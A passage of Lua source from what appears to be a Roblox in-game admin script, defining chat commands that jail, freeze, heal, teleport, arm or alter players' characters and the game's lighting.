  3134. end
  3135.  
  3136. if msg:lower():sub(1,7) == "noclip " then
  3137. local plrz = GetPlr(plr, msg:lower():sub(8))
  3138. for i, v in pairs(plrz) do
  3139. coroutine.resume(coroutine.create(function()
  3140. if v and v:findFirstChild("PlayerGui") then
  3141. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  3142. cl.Parent = v.PlayerGui cl.Disabled = false
  3143. end
  3144. end))
  3145. end
  3146. end
  3147.  
  3148. if msg:lower():sub(1,5) == "clip " then
  3149. local plrz = GetPlr(plr, msg:lower():sub(6))
  3150. for i, v in pairs(plrz) do
  3151. coroutine.resume(coroutine.create(function()
  3152. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  3153. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  3154. v.Character.Torso.Anchored = false
  3155. wait(.1) v.Character.Humanoid.PlatformStand = false
  3156. end
  3157. end))
  3158. end
  3159. end
  3160.  
  3161. if msg:lower():sub(1,5) == "jail " then
  3162. local plrz = GetPlr(plr, msg:lower():sub(6))
  3163. for i, v in pairs(plrz) do
  3164. coroutine.resume(coroutine.create(function()
  3165. if v and v.Character and v.Character:findFirstChild("Torso") then
  3166. local vname = v.Name
  3167. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  3168. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  3169. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  3170. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3171. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3172. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  3173. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3174. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3175. end)
  3176. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  3177. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  3178. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  3179. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  3180. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  3181. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  3182. local msh2 = msh:Clone() msh2.Parent = back
  3183. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  3184. local msh4 = msh3:Clone() msh4.Parent = left
  3185. v.Character.Torso.CFrame = cf
  3186. end
  3187. end))
  3188. end
  3189. end
  3190.  
  3191. if msg:lower():sub(1,7) == "unjail " then
  3192. local plrz = GetPlr(plr, msg:lower():sub(8))
  3193. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  3194. end
  3195.  
  3196. if msg:lower():sub(1,11) == "starttools " then
  3197. local plrz = GetPlr(plr, msg:lower():sub(12))
  3198. for i, v in pairs(plrz) do
  3199. coroutine.resume(coroutine.create(function()
  3200. if v and v:findFirstChild("Backpack") then
  3201. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  3202. end
  3203. end))
  3204. end
  3205. end
  3206.  
  3207. if msg:lower():sub(1,6) == "sword " then
  3208. local plrz = GetPlr(plr, msg:lower():sub(7))
  3209. for i, v in pairs(plrz) do
  3210. coroutine.resume(coroutine.create(function()
  3211. if v and v:findFirstChild("Backpack") then
  3212. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  3213. sword.GripForward = Vector3.new(-1,0,0)
  3214. sword.GripPos = Vector3.new(0,0,-1.5)
  3215. sword.GripRight = Vector3.new(0,1,0)
  3216. sword.GripUp = Vector3.new(0,0,1)
  3217. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  3218. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  3219. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  3220. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  3221. local Damage = 15
  3222. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  3223. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  3224. SlashSound.Volume = 1
  3225. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  3226. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  3227. LungeSound.Volume = 1
  3228. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  3229. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  3230. UnsheathSound.Volume = 1
  3231. local last = 0
  3232. script.Parent.Handle.Touched:connect(function(hit)
  3233. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  3234. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  3235. hit.Parent.Humanoid:TakeDamage(Damage)
  3236. end
  3237. end)
  3238. script.Parent.Activated:connect(function()
  3239. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  3240. script.Parent.Enabled = false
  3241. local tick = game:service("RunService").Stepped:wait()
  3242. if tick - last <= .2 then
  3243. LungeSound:play()
  3244. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  3245. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  3246. wait(.2)
  3247. script.Parent.GripForward = Vector3.new(0,0,1)
  3248. script.Parent.GripRight = Vector3.new(0,-1,0)
  3249. script.Parent.GripUp = Vector3.new(-1,0,0)
  3250. wait(.3)
  3251. frc:Destroy() wait(.5)
  3252. script.Parent.GripForward = Vector3.new(-1,0,0)
  3253. script.Parent.GripRight = Vector3.new(0,1,0)
  3254. script.Parent.GripUp = Vector3.new(0,0,1)
  3255. else
  3256. SlashSound:play()
  3257. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  3258. end
  3259. last = tick
  3260. script.Parent.Enabled = true
  3261. end)
  3262. script.Parent.Equipped:connect(function(mouse)
  3263. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  3264. UnsheathSound:play()
  3265. script.Parent.Enabled = true
  3266. if not mouse then return end
  3267. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  3268. end)]] cl.Disabled = false
  3269. end
  3270. end))
  3271. end
  3272. end
  3273.  
  3274. if msg:lower():sub(1,6) == "clone " then
  3275. local plrz = GetPlr(plr, msg:lower():sub(7))
  3276. for i, v in pairs(plrz) do
  3277. coroutine.resume(coroutine.create(function()
  3278. if v and v.Character then
  3279. v.Character.Archivable = true
  3280. local cl = v.Character:Clone()
  3281. table.insert(objects,cl)
  3282. cl.Parent = game.Workspace
  3283. cl:MoveTo(v.Character:GetModelCFrame().p)
  3284. cl:MakeJoints()
  3285. v.Character.Archivable = false
  3286. end
  3287. end))
  3288. end
  3289. end
  3290.  
  3291. if msg:lower():sub(1,8) == "control " then
  3292. local plrz = GetPlr(plr, msg:lower():sub(9))
  3293. for i, v in pairs(plrz) do
  3294. coroutine.resume(coroutine.create(function()
  3295. if v and v.Character then
  3296. v.Character.Humanoid.PlatformStand = true
  3297. local w = Instance.new("Weld", plr.Character.Torso )
  3298. w.Part0 = plr.Character.Torso
  3299. w.Part1 = v.Character.Torso
  3300. local w2 = Instance.new("Weld", plr.Character.Head)
  3301. w2.Part0 = plr.Character.Head
  3302. w2.Part1 = v.Character.Head
  3303. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  3304. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  3305. w3.Part1 = v.Character:findFirstChild("Right Arm")
  3306. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  3307. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  3308. w4.Part1 = v.Character:findFirstChild("Left Arm")
  3309. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  3310. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  3311. w5.Part1 = v.Character:findFirstChild("Right Leg")
  3312. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  3313. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  3314. w6.Part1 = v.Character:findFirstChild("Left Leg")
  3315. plr.Character.Head.face:Destroy()
  3316. for i, p in pairs(v.Character:children()) do
  3317. if p:IsA("BasePart") then
  3318. p.CanCollide = false
  3319. end
  3320. end
  3321. for i, p in pairs(plr.Character:children()) do
  3322. if p:IsA("BasePart") then
  3323. p.Transparency = 1
  3324. elseif p:IsA("Hat") then
  3325. p:Destroy()
  3326. end
  3327. end
  3328. v.Character.Parent = plr.Character
  3329. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  3330. end
  3331. end))
  3332. end
  3333. end
  3334.  
  3335. if msg:lower():sub(1,5) == "kill " then
  3336. local plrz = GetPlr(plr, msg:lower():sub(6))
  3337. for i, v in pairs(plrz) do
  3338. coroutine.resume(coroutine.create(function()
  3339. if v and v.Character then v.Character:BreakJoints() end
  3340. end))
  3341. end
  3342. end
  3343.  
  3344. if msg:lower():sub(1,8) == "respawn " then
  3345. local plrz = GetPlr(plr, msg:lower():sub(9))
  3346. for i, v in pairs(plrz) do
  3347. coroutine.resume(coroutine.create(function()
  3348. if v and v.Character then v:LoadCharacter() end
  3349. end))
  3350. end
  3351. end
  3352.  
  3353. if msg:lower():sub(1,5) == "trip " then
  3354. local plrz = GetPlr(plr, msg:lower():sub(6))
  3355. for i, v in pairs(plrz) do
  3356. coroutine.resume(coroutine.create(function()
  3357. if v and v.Character and v.Character:findFirstChild("Torso") then
  3358. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  3359. end
  3360. end))
  3361. end
  3362. end
  3363.  
  3364. if msg:lower():sub(1,5) == "stun " then
  3365. local plrz = GetPlr(plr, msg:lower():sub(6))
  3366. for i, v in pairs(plrz) do
  3367. coroutine.resume(coroutine.create(function()
  3368. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3369. v.Character.Humanoid.PlatformStand = true
  3370. end
  3371. end))
  3372. end
  3373. end
  3374.  
  3375. if msg:lower():sub(1,7) == "unstun " then
  3376. local plrz = GetPlr(plr, msg:lower():sub(8))
  3377. for i, v in pairs(plrz) do
  3378. coroutine.resume(coroutine.create(function()
  3379. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3380. v.Character.Humanoid.PlatformStand = false
  3381. end
  3382. end))
  3383. end
  3384. end
  3385.  
  3386. if msg:lower():sub(1,5) == "jump " then
  3387. local plrz = GetPlr(plr, msg:lower():sub(6))
  3388. for i, v in pairs(plrz) do
  3389. coroutine.resume(coroutine.create(function()
  3390. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3391. v.Character.Humanoid.Jump = true
  3392. end
  3393. end))
  3394. end
  3395. end
  3396.  
  3397. if msg:lower():sub(1,4) == "sit " then
  3398. local plrz = GetPlr(plr, msg:lower():sub(5))
  3399. for i, v in pairs(plrz) do
  3400. coroutine.resume(coroutine.create(function()
  3401. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3402. v.Character.Humanoid.Sit = true
  3403. end
  3404. end))
  3405. end
  3406. end
  3407.  
  3408. if msg:lower():sub(1,10) == "invisible " then
  3409. local plrz = GetPlr(plr, msg:lower():sub(11))
  3410. for i, v in pairs(plrz) do
  3411. coroutine.resume(coroutine.create(function()
  3412. if v and v.Character then
  3413. for a, obj in pairs(v.Character:children()) do
  3414. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  3415. end
  3416. end
  3417. end))
  3418. end
  3419. end
  3420.  
  3421. if msg:lower():sub(1,8) == "visible " then
  3422. local plrz = GetPlr(plr, msg:lower():sub(9))
  3423. for i, v in pairs(plrz) do
  3424. coroutine.resume(coroutine.create(function()
  3425. if v and v.Character then
  3426. for a, obj in pairs(v.Character:children()) do
  3427. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  3428. end
  3429. end
  3430. end))
  3431. end
  3432. end
  3433.  
  3434. if msg:lower():sub(1,5) == "lock " then
  3435. local plrz = GetPlr(plr, msg:lower():sub(6))
  3436. for i, v in pairs(plrz) do
  3437. coroutine.resume(coroutine.create(function()
  3438. if v and v.Character then
  3439. for a, obj in pairs(v.Character:children()) do
  3440. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  3441. end
  3442. end
  3443. end))
  3444. end
  3445. end
  3446.  
  3447. if msg:lower():sub(1,7) == "unlock " then
  3448. local plrz = GetPlr(plr, msg:lower():sub(8))
  3449. for i, v in pairs(plrz) do
  3450. coroutine.resume(coroutine.create(function()
  3451. if v and v.Character then
  3452. for a, obj in pairs(v.Character:children()) do
  3453. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  3454. end
  3455. end
  3456. end))
  3457. end
  3458. end
  3459.  
  3460. if msg:lower():sub(1,8) == "explode " then
  3461. local plrz = GetPlr(plr, msg:lower():sub(9))
  3462. for i, v in pairs(plrz) do
  3463. coroutine.resume(coroutine.create(function()
  3464. if v and v.Character and v.Character:findFirstChild("Torso") then
  3465. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  3466. end
  3467. end))
  3468. end
  3469. end
  3470.  
  3471. if msg:lower():sub(1,4) == "age " then
  3472. local plrz = GetPlr(plr, msg:lower():sub(5))
  3473. for i, v in pairs(plrz) do
  3474. coroutine.resume(coroutine.create(function()
  3475. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  3476. end))
  3477. end
  3478. end
  3479.  
  3480. if msg:lower():sub(1,5) == "fire " then
  3481. local plrz = GetPlr(plr, msg:lower():sub(6))
  3482. for i, v in pairs(plrz) do
  3483. coroutine.resume(coroutine.create(function()
  3484. if v and v.Character and v.Character:findFirstChild("Torso") then
  3485. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  3486. end
  3487. end))
  3488. end
  3489. end
  3490.  
  3491. if msg:lower():sub(1,7) == "unfire " then
  3492. local plrz = GetPlr(plr, msg:lower():sub(8))
  3493. for i, v in pairs(plrz) do
  3494. coroutine.resume(coroutine.create(function()
  3495. if v and v.Character and v.Character:findFirstChild("Torso") then
  3496. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  3497. end
  3498. end))
  3499. end
  3500. end
  3501.  
  3502. if msg:lower():sub(1,6) == "smoke " then
  3503. local plrz = GetPlr(plr, msg:lower():sub(7))
  3504. for i, v in pairs(plrz) do
  3505. coroutine.resume(coroutine.create(function()
  3506. if v and v.Character and v.Character:findFirstChild("Torso") then
  3507. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  3508. end
  3509. end))
  3510. end
  3511. end
  3512.  
  3513. if msg:lower():sub(1,8) == "unsmoke " then
  3514. local plrz = GetPlr(plr, msg:lower():sub(9))
  3515. for i, v in pairs(plrz) do
  3516. coroutine.resume(coroutine.create(function()
  3517. if v and v.Character and v.Character:findFirstChild("Torso") then
  3518. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  3519. end
  3520. end))
  3521. end
  3522. end
  3523.  
  3524. if msg:lower():sub(1,9) == "sparkles " then
  3525. local plrz = GetPlr(plr, msg:lower():sub(10))
  3526. for i, v in pairs(plrz) do
  3527. coroutine.resume(coroutine.create(function()
  3528. if v and v.Character and v.Character:findFirstChild("Torso") then
  3529. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  3530. end
  3531. end))
  3532. end
  3533. end
  3534.  
  3535. if msg:lower():sub(1,11) == "unsparkles " then
  3536. local plrz = GetPlr(plr, msg:lower():sub(12))
  3537. for i, v in pairs(plrz) do
  3538. coroutine.resume(coroutine.create(function()
  3539. if v and v.Character and v.Character:findFirstChild("Torso") then
  3540. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  3541. end
  3542. end))
  3543. end
  3544. end
  3545.  
  3546. if msg:lower():sub(1,3) == "ff " then
  3547. local plrz = GetPlr(plr, msg:lower():sub(4))
  3548. for i, v in pairs(plrz) do
  3549. coroutine.resume(coroutine.create(function()
  3550. if v and v.Character then Instance.new("ForceField", v.Character) end
  3551. end))
  3552. end
  3553. end
  3554.  
  3555. if msg:lower():sub(1,5) == "unff " then
  3556. local plrz = GetPlr(plr, msg:lower():sub(6))
  3557. for i, v in pairs(plrz) do
  3558. coroutine.resume(coroutine.create(function()
  3559. if v and v.Character then
  3560. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  3561. end
  3562. end))
  3563. end
  3564. end
  3565.  
  3566. if msg:lower():sub(1,7) == "punish " then
  3567. local plrz = GetPlr(plr, msg:lower():sub(8))
  3568. for i, v in pairs(plrz) do
  3569. coroutine.resume(coroutine.create(function()
  3570. if v and v.Character then
  3571. v.Character.Parent = game:service("Lighting")
  3572. end
  3573. end))
  3574. end
  3575. end
  3576.  
  3577. if msg:lower():sub(1,9) == "unpunish " then
  3578. local plrz = GetPlr(plr, msg:lower():sub(10))
  3579. for i, v in pairs(plrz) do
  3580. coroutine.resume(coroutine.create(function()
  3581. if v and v.Character then
  3582. v.Character.Parent = game:service("Workspace")
  3583. v.Character:MakeJoints()
  3584. end
  3585. end))
  3586. end
  3587. end
  3588.  
  3589. if msg:lower():sub(1,7) == "freeze " then
  3590. local plrz = GetPlr(plr, msg:lower():sub(8))
  3591. for i, v in pairs(plrz) do
  3592. coroutine.resume(coroutine.create(function()
  3593. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3594. for a, obj in pairs(v.Character:children()) do
  3595. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  3596. end
  3597. end
  3598. end))
  3599. end
  3600. end
  3601.  
  3602. if msg:lower():sub(1,5) == "thaw " then
  3603. local plrz = GetPlr(plr, msg:lower():sub(6))
  3604. for i, v in pairs(plrz) do
  3605. coroutine.resume(coroutine.create(function()
  3606. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3607. for a, obj in pairs(v.Character:children()) do
  3608. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  3609. end
  3610. end
  3611. end))
  3612. end
  3613. end
  3614.  
  3615. if msg:lower():sub(1,5) == "heal " then
  3616. local plrz = GetPlr(plr, msg:lower():sub(6))
  3617. for i, v in pairs(plrz) do
  3618. coroutine.resume(coroutine.create(function()
  3619. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3620. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3621. end
  3622. end))
  3623. end
  3624. end
  3625.  
  3626. if msg:lower():sub(1,4) == "god " then
  3627. local plrz = GetPlr(plr, msg:lower():sub(5))
  3628. for i, v in pairs(plrz) do
  3629. coroutine.resume(coroutine.create(function()
  3630. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3631. v.Character.Humanoid.MaxHealth = math.huge
  3632. v.Character.Humanoid.Health = 9e9
  3633. end
  3634. end))
  3635. end
  3636. end
  3637.  
  3638. if msg:lower():sub(1,6) == "ungod " then
  3639. local plrz = GetPlr(plr, msg:lower():sub(7))
  3640. for i, v in pairs(plrz) do
  3641. coroutine.resume(coroutine.create(function()
  3642. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3643. v.Character.Humanoid.MaxHealth = 100
  3644. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3645. end
  3646. end))
  3647. end
  3648. end
  3649.  
  3650. if msg:lower():sub(1,8) == "ambient " then
  3651. local chk1 = msg:lower():sub(9):find(" ") + 8
  3652. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  3653. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  3654. end
  3655.  
  3656. if msg:lower():sub(1,11) == "brightness " then
  3657. game.Lighting.Brightness = msg:sub(12)
  3658. end
  3659.  
  3660. if msg:lower():sub(1,5) == "time " then
  3661. game.Lighting.TimeOfDay = msg:sub(6)
  3662. end
  3663.  
  3664. if msg:lower():sub(1,9) == "fogcolor " then
  3665. local chk1 = msg:lower():sub(10):find(" ") + 9
  3666. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  3667. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  3668. end
  3669.  
  3670. if msg:lower():sub(1,7) == "fogend " then
  3671. game.Lighting.FogEnd = msg:sub(8)
  3672. end
  3673.  
  3674. if msg:lower():sub(1,9) == "fogstart " then
  3675. game.Lighting.FogStart = msg:sub(10)
  3676. end
  3677.  
  3678. if msg:lower():sub(1,7) == "btools " then
  3679. local plrz = GetPlr(plr, msg:lower():sub(8))
  3680. for i, v in pairs(plrz) do
  3681. coroutine.resume(coroutine.create(function()
  3682. if v and v:findFirstChild("Backpack") then
  3683. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  3684. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  3685. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  3686. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  3687. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  3688. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  3689. local sb
  3690. local hs
  3691. local pdist
  3692.  
  3693. script.Parent.Selected:connect(function(mouse)
  3694. if not mouse then return end
  3695. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  3696. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  3697. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  3698. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  3699. hs.MouseButton1Down:connect(function() pdist = 0 end)
  3700. end)
  3701.  
  3702. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  3703. end
  3704. end))
  3705. end
  3706. end
  3707.  
  3708. if msg:lower():sub(1,12) == "startergive " then
  3709. local chk1 = msg:lower():sub(13):find(" ") + 12
  3710. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  3711. for i, v in pairs(plrz) do
  3712. coroutine.resume(coroutine.create(function()
  3713. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  3714. for a, tool in pairs(game.Lighting:children()) do
  3715. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  3716. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  3717. end
  3718. end
  3719. end
  3720. end))
  3721. end
  3722. end
  3723.  
  3724. if msg:lower():sub(1,5) == "give " then
  3725. local chk1 = msg:lower():sub(6):find(" ") + 5
  3726. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3727. for i, v in pairs(plrz) do
  3728. coroutine.resume(coroutine.create(function()
  3729. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  3730. for a, tool in pairs(game.Lighting:children()) do
  3731. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  3732. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  3733. end
  3734. end
  3735. end
  3736. end))
  3737. end
  3738. end
  3739.  
  3740. if msg:lower():sub(1,12) == "removetools " then
  3741. local plrz = GetPlr(plr, msg:lower():sub(13))
  3742. for i, v in pairs(plrz) do
  3743. coroutine.resume(coroutine.create(function()
  3744. if v and v.Character and v:findFirstChild("Backpack") then
  3745. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  3746. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  3747. end
  3748. end))
  3749. end
  3750. end
  3751.  
  3752. if msg:lower():sub(1,5) == "rank " then
  3753. local chk1 = msg:lower():sub(6):find(" ") + 5
  3754. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3755. for i, v in pairs(plrz) do
  3756. coroutine.resume(coroutine.create(function()
  3757. if v and v:IsInGroup(msg:sub(chk1+1)) then
  3758. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  3759. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  3760. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  3761. end
  3762. end))
  3763. end
  3764. end
  3765.  
  3766. if msg:lower():sub(1,7) == "damage " then
  3767. local chk1 = msg:lower():sub(8):find(" ") + 7
  3768. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  3769. for i, v in pairs(plrz) do
  3770. coroutine.resume(coroutine.create(function()
  3771. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3772. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  3773. end
  3774. end))
  3775. end
  3776. end
  3777.  
  3778. if msg:lower():sub(1,5) == "grav " then
  3779. local plrz = GetPlr(plr, msg:lower():sub(6))
  3780. for i, v in pairs(plrz) do
  3781. coroutine.resume(coroutine.create(function()
  3782. if v and v.Character and v.Character:findFirstChild("Torso") then
